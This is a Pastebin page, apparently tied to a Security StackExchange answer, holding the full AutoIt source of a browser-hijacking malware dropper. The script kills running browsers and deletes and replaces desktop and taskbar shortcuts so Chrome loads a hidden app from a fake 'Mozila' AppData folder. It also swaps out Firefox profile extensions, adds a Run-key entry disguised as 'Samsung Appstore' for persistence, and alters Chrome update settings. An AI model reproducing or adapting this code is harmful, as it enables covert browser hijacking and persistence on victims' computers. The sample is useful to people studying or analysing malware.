Advertisement
Guest User

http://security.stackexchange.com/a/128270/50311

a guest
Jun 27th, 2016
864
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 9.44 KB | None | 0 0
  1. #NoTrayIcon
  2.  
  3. Local $killedChrome = False
  4. Local $killedBrowser = False
  5. Local $killedOpera = False
  6. Local $killedFirefox = False
  7. Local $verDatVersion = "1.5"
  8.  
  9.  
  10. If ProcessExists("chrome.exe") Then
  11.     ProcessClose("chrome.exe")
  12.     $killedChrome = True
  13. EndIf
  14. If ProcessExists("firefox.exe") Then
  15.     ProcessClose("firefox.exe")
  16.     $killedFirefox = True
  17. EndIf
  18. If ProcessExists("browser.exe") Then
  19.     ProcessClose("browser.exe")
  20.     $killedBrowser = True
  21. EndIf
  22. If ProcessExists("opera.exe") Then
  23.     ProcessClose("opera.exe")
  24.     $killedOpera = True
  25. EndIf
  26.  
  27.  
  28. DirCreate(@AppDataDir & "\Mozila\")
  29.  
  30.  
  31. Func pathToChrome()
  32.     Local $unused
  33.     Local $ret
  34.     Local $appPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "Path")
  35.     If StringInStr(RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"), "Chrome") Then
  36.         $ret = RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
  37.     ElseIf StringInStr(RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"),"Chrome") Then
  38.         $ret = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
  39.     ElseIf StringInStr($appPath, "Chrome") Then
  40.         $ret = $appPath & "\chrome.exe"
  41.     Else
  42.         $ret = pathProgramFiles() & "\Google\Chrome\Application\chrome.exe"
  43.     EndIf
  44.     return $ret
  45. EndFunc
  46.  
  47.  
  48. Func pathProgramFiles()
  49.     Local $dirProgramFiles
  50.     Switch @OSArch
  51.         Case "X86"
  52.             $dirProgramFiles = "Program Files"
  53.         Case "X64"
  54.             $dirProgramFiles = "Program Files (x86)"
  55.     EndSwitch
  56.     Return @HomeDrive & "/" & $dirProgramFiles & "/"
  57. EndFunc ;==>pathProgramFilesh
  58.  
  59.  
  60. Func iepath()
  61.     Return pathProgramFiles() & "Internet Explorer/iexplore.exe"
  62. EndFunc
  63.  
  64.  
  65. Func replaceShortcuts()
  66.     FileDelete(@DesktopDir & "\*Chrome*.lnk")
  67.     FileDelete(@DesktopDir& "\*Chrome*.lnk")
  68.     FileDelete(@DesktopDir & "\*Google*.lnk")
  69.     FileDelete(@DesktopDir& "\*Google*.lnk")
  70.     FileDelete(@DesktopDir & "\*Internet*.lnk")
  71.     FileDelete(@DesktopDir& "\*Internet*.lnk")
  72.     FileDelete(@DesktopDir & "\*Explorer*.lnk")
  73.     FileDelete(@DesktopDir& "\*Explorer*.lnk")
  74.     createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  75.     createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  76.     createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  77.     createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  78.     createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  79.     createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  80.     createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  81.     createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  82.     createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  83.     createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
  84.     createShortcut(iepath(), "up2sm", chr(0) & chr(0) & chr(0) & chr(0), "Internet Explorer")
  85.     createShortcut(pathToChrome(), "up2sm", chr(0) & chr(0) & chr(0) & chr(0), "Google Chrome")
  86.     createShortcut(pathToChrome(), 'p2tb', '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome")
  87.     createShortcut(pathToChrome(), 'p2sm', '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome")
  88.     FileCreateShortcut(pathToChrome(), @DesktopDir & "\Google Chrome.lnk", StringReplace(pathToChrome(), "chrome.exe", chr(0) & chr(0) & chr(0) & chr(0)), '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0), "15", @SW_SHOWMAXIMIZED)
  89.     FileCreateShortcut(pathToChrome(), @DesktopDir & "\Internet Explorer.lnk", StringReplace(pathToChrome(), "chrome.exe", chr(0) & chr(0) & chr(0) & chr(0)), '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0), "15", @SW_SHOWMAXIMIZED)
  90.     ControlSend('Program Manager', '', '', '{F5}')
  91. EndFunc
  92.  
  93.  
  94. Func createShortcut($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '', $FH37126V95637 = 'Google Chrome')
  95.     $MX50889N8062 = 0
  96.     If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co
  97.  
  98.     ;split path, filename and extension
  99.     $QV53761I27021split = StringSplit($DU96650J50007, '\')
  100.     $LQ96791B72186 = $QV53761I27021split[0]
  101.     $NY46912G26724H79275Y54978 = $QV53761I27021split[$LQ96791B72186]
  102.     $QV53761I27021 = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
  103.     $QV53761I27021 = StringTrimRight($QV53761I27021, 1)
  104.     $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, ".")
  105.     $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
  106.     $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
  107.     $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)
  108.  
  109.     ;define code to use depending on action choosen
  110.     Switch $PY88057E8772
  111.         Case 'pin2SM', 'p2sm'           ;pin to Start Menu
  112.             $DW40391F60732 = 5381
  113.         Case 'unpinFromSM', 'up2sm'     ;unpin from Start Menu
  114.             $DW40391F60732 = 5382
  115.         Case 'pin2TB', 'p2tb'           ;pin to Task Bar
  116.             $DW40391F60732 = 5386
  117.         Case 'unpinFromTB', 'up2tb'     ;unpin from Task Bar
  118.             $DW40391F60732 = 5387
  119.     EndSwitch
  120.  
  121.     ;if arguments, make a shortcut, pin it then mark it for deletion
  122.     If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
  123.         $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
  124.         FileCreateShortcut($DU96650J50007, $LU75806O87936, $QV53761I27021, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
  125.         $QV53761I27021 = @DesktopDir
  126.         $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  127.         $MX50889N8062 = 1
  128.     EndIf
  129.  
  130.     ;retrieve Localized text for action
  131.     $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
  132.     If $VN21839D40239 Then
  133.         $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
  134.         ;If @error Then MsgBox(0, "Error", _WinAPI_GetLastErrorMessage()) ;debug
  135.         _WinAPI_FreeLibrary($VN21839D40239)
  136.     EndIf
  137.  
  138.  
  139.     If $DW40391F60732 == 5382 Then
  140.         $QV53761I27021 = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
  141.         $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  142.     EndIf
  143.  
  144.     ;pin or unpin
  145.  
  146.     $GX26215V48494 = ObjCreate('Shell.Application')
  147.     $CV39051H10739 = $GX26215V48494.Namespace($QV53761I27021)
  148.     $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
  149.     If IsObj($CV39051H10739Item) Then
  150.         For $CV81871N53913 in $CV39051H10739Item.Verbs()
  151.             If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
  152.         Next
  153.     Else
  154.         ;ConsoleWrite($CV39051H10739Item.Verbs())
  155.     EndIf
  156.  
  157.     ;clean temporary shortcut
  158.     If $MX50889N8062 Then
  159.         FileDelete($LU75806O87936)
  160.     EndIf
  161. EndFunc
  162.  
  163.  
  164. Local $verDatFP = FileOpen(@AppDataDir & "\Mozila\ver.dat", 2)
  165. FileWrite($verDatFP, $verDatVersion)
  166. FileClose($verDatFP)
  167.  
  168.  
  169. $regCMD = 'reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Samsung Appstore" /d "\"' & @AppDataDir & "\Mozila\autoit.exe" & '\" \"' & @AppDataDir & "\Mozila\up.au3" & '\"" /f'
  170. RunWait(@ComSpec & " /c " & $regCMD, @WindowsDir, @SW_HIDE)
  171.  
  172.  
  173. Func installFF($arg)
  174.     DirRemove($arg & "\extensions", 1)
  175.     Sleep(150)
  176.     DirCreate($arg & "\extensions\staged")
  177.     _Zip_UnzipAll(@AppDataDir & "\Mozila\ff.zip", $arg & "\extensions\staged\" , 16)
  178. EndFunc
  179.  
  180.  
  181. Func infectFFProfile($ffProfileDir)
  182.     If FileExists($ffProfileDir) Then
  183.         Local $profileDirList = _FileListToArray($ffProfileDir, "*", 2, True)
  184.  
  185.         If @error = 1 Then
  186.             return false
  187.         EndIf
  188.  
  189.         If @error = 4 Then
  190.             return false
  191.         EndIf
  192.  
  193.         For $i = 1 To $profileDirList[0] Step +1
  194.             installFF($profileDirList[$i])
  195.         Next
  196.     EndIf
  197. EndFunc
  198.  
  199. infectFFProfile("C:\Documents and Settings\" & @UserName & "\Application Data\Mozilla\Firefox\Profiles")
  200. infectFFProfile("C:\Documents and Settings\" & @UserName & "\AppData\Roaming\Mozilla\Firefox\Profiles")
  201.  
  202. replaceShortcuts()
  203.  
  204. RegWrite("HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}", "ap", "REG_SZ", "2.0-dev-multi-chrome")
  205. RegWrite("HKCU\Software\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}", "ap", "REG_SZ", "2.0-dev-multi-chrome")
  206.  
  207. Sleep(1000)
  208.  
  209. If Not ($killedChrome = False) Then ShellExecute("chrome.exe", ' --load-and-launch-app="' & @AppDataDir & "\Mozila" & '" https://www.facebook.com/')
  210.  
  211. ShellExecute(@AppDataDir & "\Mozila\autoit.exe", "up.au3", @AppDataDir & "\Mozila\")
  212.  
  213. ;If Not ($killedBrowser = False) Then ShellExecute("browser.exe")
  214. ;If Not ($killedOpera = False) Then ShellExecute("opera.exe")
  215. If Not ($killedFirefox = False) Then ShellExecute("firefox.exe")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement